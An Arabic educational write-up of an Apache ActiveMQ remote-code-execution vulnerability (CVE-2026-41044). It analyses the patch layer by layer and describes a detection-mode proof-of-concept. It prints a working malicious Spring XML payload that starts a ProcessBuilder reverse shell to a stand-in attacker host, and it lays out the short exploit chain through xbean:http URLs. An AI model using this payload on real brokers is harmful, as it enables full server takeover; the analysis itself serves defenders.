
# شرح تعليمي وإثبات مفهوم لثغرة CVE-2026-41044، وهي ثغرة تنفيذ كود عن بُعد (RCE) في Apache ActiveMQ، مع تحليل السبب الجذري وسكربت كشف.
ملاحظة: لأغراض تعليمية فقط
تم الكشف عن CVE-2026-41044 في 24 أبريل 2026. وهي ثغرة تنفيذ كود عن بُعد في Apache ActiveMQ Classic، اكتشفها jsjcw، وتم تصحيحها في الإصدارين 5.19.6 و6.2.5. لم أكن أنا من اكتشفها.
ما أريد إظهاره هو كيف يمكن لشخص لم يتعامل مع ActiveMQ من قبل أن ينتج استغلالًا عمليًا لثغرة قديمة في ظهيرة واحدة، لأن الكود المُصحح متاح للعموم، والكود غير المُصحح متاح للعموم، والفجوة بينهما لا تتعدى git diff.
العملية بسيطة:
ما كان يستغرق أيامًا أصبح الآن يستغرق ظهيرة واحدة. الذكاء الاصطناعي لا يكتشف الثغرات. إنه يقرأ الكود ويشرحه بسرعة طرحك للأسئلة. الجزء المكلف ما زال عليك أنت: تحديد ما هو قابل للاستغلال فعليًا، وأين تقع حدود الثقة الحقيقية، وما يحتاج إلى تحقق. النموذج فقط يتنقل عبر مخططات الاستدعاء أسرع من أي إنسان.
النقطة الأكبر: إذا كان سير عمل التصحيح لديك يفترض أسبوعًا من التحليل لكل CVE، فأنت على الجدول الزمني القديم. git diff بنفس الطول سواء كنت تكتب كشفًا أو استغلالًا.
ActiveMQ هو وسيط رسائل. يجلس في المنتصف ويمرر الرسائل بين التطبيقات. فكر فيه كمكتب بريد: التطبيقات تودع الرسائل، وActiveMQ يوصلها إلى المستلم الصحيح. وهو منتشر على نطاق واسع في البيئات المؤسسية القائمة على Java، ويعرض وحدة تحكم ويب وواجهة REST للإدارة تسمى Jolokia على /api/jolokia/. بيانات الاعتماد الافتراضية في العديد من النشرات ما زالت admin:admin.
سمح ActiveMQ لأي مستخدم مُصادق بتحميل إعدادات الوسيط من عنوان HTTP عشوائي، والتي يقوم Spring بتحليلها وتنفيذها فورًا ككائنات Java - بما في ذلك ProcessBuilder - مما يمنح المهاجم تنفيذ أوامر كامل على نظام تشغيل خادم الوسيط.
localhost./api/jolokia/ يعرض عمليات الإدارة كواجهة REST API. أي بيانات اعتماد صالحة لوحدة التحكم تصل إليه - وليس فقط المسؤول.vm://: النقل داخل العملية المستخدم عندما يعيش العميل في نفس JVM الخاص بالوسيط. يقبل معامل استعلام ?brokerConfig= يشير إلى إعداد Spring XML لتهيئة وسيط منه.xbean:: مخطط عنوان URL يخبر ActiveMQ بمعاملة العنوان كإعداد Spring XML وتحميله.init-method: يقرأ Spring ملف XML وينشئ تلقائيًا كائنات Java (حبوب). تخبر سمة init-method Spring باستدعاء دالة على الحبة لحظة إنشائها - قبل تشغيل أي شيء آخر.ProcessBuilder: فئة Java قياسية تنفذ أوامر نظام التشغيل. ProcessBuilder.start() تنفذ الأمر.DestinationView.sendTextMessage() في الإصدار 5.19.2 يبني عنوان اتصال الوسيط عبر تسلسل اسم الوسيط مباشرة في نص:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
إذا أعاد getBrokerName() القيمة localhost?brokerConfig=xbean:http://attacker/poison.xml، يصبح هذا النص بأكمله URI صالحًا لـ vm:// مع معامل استعلام مضمّن. يسلمه ActiveMQConnectionFactory إلى VMTransportFactory، الذي يرفع معامل brokerConfig ويستخدمه كعنوان إعداد تهيئة الوسيط.
الإصلاح في 5.19.6 هو سطر واحد:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
يتحول String إلى URI - لم يعد التسلسل العرضي ممكنًا. القيمة تأتي من كائن URI مُنشأ مسبقًا وغير قابل للتغيير مشتق من موصل VM المسجل الفعلي للوسيط، وليس من نص اسم قابل للتغيير.
لكي تكون الطبقة 1 قابلة للاستغلال، يجب تسميم اسم الوسيط أولًا. لطالما قام BrokerService بتعقيم أسماء الوسيط:
// BrokerService.setBrokerName() - موجود في كلا الإصدارين
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
هذا التعبير النمطي يزيل ? و= بشكل نظيف. وُجدت الثغرة لأن RegionBroker كان لديه مُحدِّد منفصل خاص به لم يقم بذلك:
// 5.19.2 - RegionBroker.java
private String brokerName; // قابل للتغيير
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // لا تحقق إطلاقًا
}
هذا مثال كلاسيكي على "الوكيل المشوش" - مُحدِّدان على فئات مترابطة، واحد فقط منهما يعقّم. نظير بعيد يبث حزمة BrokerInfo مصممة خصيصًا مع حقل اسم مسموم يصل مباشرة إلى RegionBroker.setBrokerName()، متجاوزًا تعبير BrokerService النمطي بالكامل.
الإصلاح في 5.19.6 يحذف المُحدِّد، ويجعل الحقل final، ويهيئه مرة واحدة من الأصل المعقّم بالفعل:
// 5.19.6 - RegionBroker.java
private final String brokerName; // غير قابل للتغيير
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() لم يعد موجودًا. لا يوجد مُحدِّد بعد الآن.
}
لا يمكنك تجاوز أداة تعقيم لا يوجد لها كاتب موازٍ.
VMTransportFactory.doCompositeConnect() هي الدالة التي تأخذ URI بصيغة vm://...?brokerConfig=...، وترفع معامل brokerConfig، وتستدعي BrokerFactory.createBroker(brokerURI). إنها آلية التشغيل للسلسلة بأكملها.
لم يغير Apache أي شيء هنا إطلاقًا.
هذا الاختيار يخبرك بشيء عن طريقة تفكيرهم في الإصلاح. VMTransportFactory يقوم بعمل مشروع - نقل vm:// من المفترض فعليًا أن يقبل إعدادات التهيئة. تصحيحه كان سيكسر التصميم المقصود. بدلًا من ذلك، أصلح Apache الثغرة عند المصدر (الطبقة 2: لا يمكن كتابة اسم مسموم) وعند نقطة الاستهلاك (الطبقة 5: حتى لو وصل عنوان مسموم، لن يجلبه محلل الموارد).
أصلح الطبقات التي ينتمي إليها التحقق، وليس الطبقة التي صادف أن المهاجم مرّ عبرها.
// XBeanBrokerFactory - نفسه في كلا الإصدارين
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // الطبقة 5
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource) هو المكان الذي يقوم فيه Spring بعمله - كل init-method للحبوب يعمل عند بناء السياق، قبل أن يتحقق BrokerService الخاص بـ ActiveMQ من النتيجة. لا يوجد تصحيح يمكن إجراؤه هنا. عقد Spring صحيح كما صُمم. الثغرة كانت أن ActiveMQ اعتمد على حدوث التحقق قبل الإنشاء، وSpring لا يعد بذلك الترتيب.
هذه هي الدالة التي قررت ما إذا كان يجب جلب xbean:http://attacker/poison.xml. في 5.19.2:
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
if (new File(uri).exists()) {
return new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
return new UrlResource(ResourceUtils.getURL(uri)); // http? ftp? jar? لا تحقق.
} else {
return new ClassPathResource(uri);
}
}
لا مرشح للبروتوكول. http://، https://، ftp://، jar:// - كلها مقبولة بصمت.
إصلاح 5.19.6 يضيف قائمة سماح صريحة. فقط file وclasspath مسموحان افتراضيًا. كل شيء آخر يرمي استثناءً قبل إنشاء UrlResource:
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";
public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
throws MalformedURLException {
// ...
} else if (ResourceUtils.isUrl(uri)) {
validateUrlAllowed(uri, allowedProtocols); // يرمي استثناءً إذا كان http/https/إلخ
resource = new UrlResource(ResourceUtils.getURL(uri));
}
}
static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
throws URISyntaxException {
if (allowedProtocols != null) {
final String detectedProtocol = getProtocolFromScheme(uriString);
if (!allowedProtocols.contains(detectedProtocol)) {
throw new IllegalArgumentException("URL [" + uriString +
"] uses protocol '" + detectedProtocol + "' which is not allowed");
}
}
}
الآن يمرر XBeanBrokerFactory {file, classpath} كقائمة السماح. حتى لو وصل اسم وسيط مسموم إلى هذه الدالة في إصدار مستقبلي، فإن http://attacker/poison.xml سيرمي استثناءً قبل أن يراه Spring.
<beans xmlns="http://www.springframework.org/schema/beans" ...>
<bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/attacker/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
لحظة إنشاء Spring لـ ApplicationContext، يعمل init-method="start" على حبة ProcessBuilder. تحقق BrokerService.start() الخاص بـ ActiveMQ يعمل بعد ذلك. بحلول ذلك الوقت تكون الصدفة قد اتصلت بالخلف بالفعل.
هناك طريقتان للوصول إلى نقطة الاستهلاك الثغرية Utils.resourceFromString:
المسار الإنتاجي الكامل (ما تصفه النشرة):
نظير بعيد يرسل حزمة BrokerInfo مصممة خصيصًا
-> RegionBroker.setBrokerName() يخزن الاسم المسموم دون تحقق
-> DestinationView.sendTextMessage() يسلسله في عنوان vm:// URL
-> VMTransportFactory يرفع معامل brokerConfig
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
المسار القصير (ما يستخدمه poc.sh):
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
يأخذ PoC المسار القصير لسبب عملي: المسار الكامل يتطلب إعداد وسيط ActiveMQ ثانٍ كنظير شبكة يرسل حزمة BrokerInfo مصممة خصيصًا إلى الهدف - تفاعل وسيط-إلى-وسيط يتطلب إعداد مختبر أكثر تعقيدًا. المسار القصير يعمل مع وسيط واحد وخادم HTTP أساسي.
كلا المسارين يصلان إلى نفس البدائية الثغرية. يؤكد PoC أن نقطة الاستهلاك قابلة للاستغلال وأن الثغرة موجودة على الهدف. إذا أردت إعادة إنتاج نقطة الدخول الدقيقة الموصوفة في النشرة، فستحتاج إلى إضافة خطوة الوسيط-إلى-الوسيط.
يعمل PoC في وضع الكشف فقط افتراضيًا. يفحص إشارتين:
فحص اللافتة - يقرأ BrokerVersion عبر Jolokia:
< 5.19.6 أو 6.0.0 - 6.2.4 = نطاق ثغريفحص السلوك - يستدعي addNetworkConnector("vm://probe") عبر Jolokia:
Transport scheme 'vm' is not allowedDiscoveryAgent scheme NOT recognizedالرفض في الإصدار المُصحح يأتي من BrokerView.validateAllowedUrl() - قائمة حظر منفصلة أُضيفت مباشرة إلى عملية JMX الخاصة بـ addNetworkConnector في 5.19.6، وليس من Utils.resourceFromString. هذان إصلاحان مستقلان: أحدهما يحرس سطح إدارة JMX، والآخر يحرس بدائية تحميل الموارد الموصوفة في الطبقة 5. فحص السلوك يختبر الأول.
| الطبقة | الثغرية (5.19.2) | المُصححة (5.19.6) |
|---|---|---|
DestinationView | تسلسل نصي "vm://" + brokerName | broker.getVmConnectorURI() URI غير قابل للتغيير |
RegionBroker | حقل قابل للتغيير، مُحدِّد غير معقّم | حقل final، المُحدِّد محذوف، يُهيأ من الأصل المعقّم |
VMTransportFactory | لم يتغير | لم يتغير (بالتصميم) |
XBeanBrokerFactory | يستدعي Utils.resourceFromString(uri) | يستدعي Utils.resourceFromString(uri, allowedProtocols) |
Utils.resourceFromString | يجلب أي مخطط عنوان URL | قائمة سماح مفروضة - فقط file وclasspath افتراضيًا |